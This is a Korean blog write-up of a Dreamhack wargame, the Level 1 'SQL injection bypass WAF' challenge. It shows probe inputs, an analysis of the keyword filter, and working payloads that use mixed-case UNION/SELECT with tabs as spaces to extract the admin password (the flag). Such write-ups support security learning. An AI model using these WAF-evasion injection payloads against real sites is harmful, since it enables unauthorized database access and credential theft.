본문 바로가기
IT Security/DreamHack

드림핵 워게임 sql injection bypass WAF 문제 풀이 정리 (Level 1)

by 바닐라이코노미 2024. 11. 8.
반응형

드림핵 사이트의 워게임 중 웹 해킹 관련

sql injection bypass WAF  (Level 1) 문제에 대해서 정리 해보려 합니다

 

<문제설명>

Exercise: SQL Injection Bypass WAF에서 실습하는 문제입니다.

 

<문제를 풀기 위한 시도 정리>

 

 

아래와 같이 uid를 입력하면 쿼리가 완성되는 화면이 보인다

 

먼저 admin이라고 입력을 진행 해본다

 

WAF의 의해 필터링이 됨을 확인 할 수 있다

 

여기서 어떠한 키워드가 필터링이 되는지 추가로 입력을 해본다

(물론, 제공된 소스로 확인 하는것이 제일 빠르지만 소스가 없다는 가정으로 조금 더 시도 해본다)

아래 입력한 것 대부분이 필터링이 되는것을 확인

# 필터링이 되는지 시도해본 것들
'                                 #공백
' --                              #주석처리
'substr                           #substr
'replace                          #replace
'%20                              #공백 url 인코딩
'%20and%20SubStr(upw,1,1)='a      #공백+substr 조합

 

 

소스코드를 확인해서 어떻게 필터링 되는지를 확인 해본다

 

소스코드를 확인해서 정리해보면

→ keywords 부분의 정의된 부분이 동일하게 일치하는지만 체킹 되므로 대소문자, URL인코딩 등으로 우회가 가능할 것으로 판단

→ uid의 값이 들어가지고 result[1] 부분을 보면 2번째 열의 값을 화면의 출력한다는 것을 유추 가능

 

소스코드를 분석한 것을 기반으로 우회가능한 쿼리를 작성해서 시도해 보자

# 소스확인후 시도한 쿼리들
'%20unION%20SeLEt%20fROm%20user%20where%20uid='ADmin
Admin

 

Admin으로 앞에 부분을 대문자로 변경해도 필터가 우회 되는것을 확인 가능

이러한 접근 방법으로 조금 더 쿼리를 수정해서 진행해야겠다고 판단

# 소스확인 후 시도한 쿼리
'   Union   SeLEct    1,2,3    From    user     WHere     uid='AdmIn'    #
%27%09Union%09SeLEct%091%2C2%2C3%09From%09user%09WHere%09uid%3D%27AdmIn%27%09%23

' Union  Select   1,2,3#
%27Union%09Select%091,2,3%23

Admin%09Union%09SeLect%091,2,3%23

 

필터링은 우회 된거 같은데 결과가 아무것도 나오지가 않았다

값 자체의 URL 인코딩 된 값을 넣어서 아무런 출력도 되지 않았다 (멍청쓰)

다시 넣고자 하는 부분을 설정해서 넣는다

union → UniON
공백 띄어쓰기 → Tab
select → Select

'UniON	Select	1,	2,	3#'

 

소스상에서 2번째 열의 결과가 나오는것을 확인했고, 실제로도 2번째 열에서 결과가 나오는것을 확인 했으므로

해당 부분을 활용해 FLAG값을 얻어내자

 

union → UniON
select → Select
from → From
admin → Admin

'UniON	Select	1,	(Select	upw	From	user	where	uid='Admin'),	3#'

 

해당 쿼리로 FLAG 결과를 얻을 수 있다

 

문제 출처 및 참조

https://learn.dreamhack.io/

 

반응형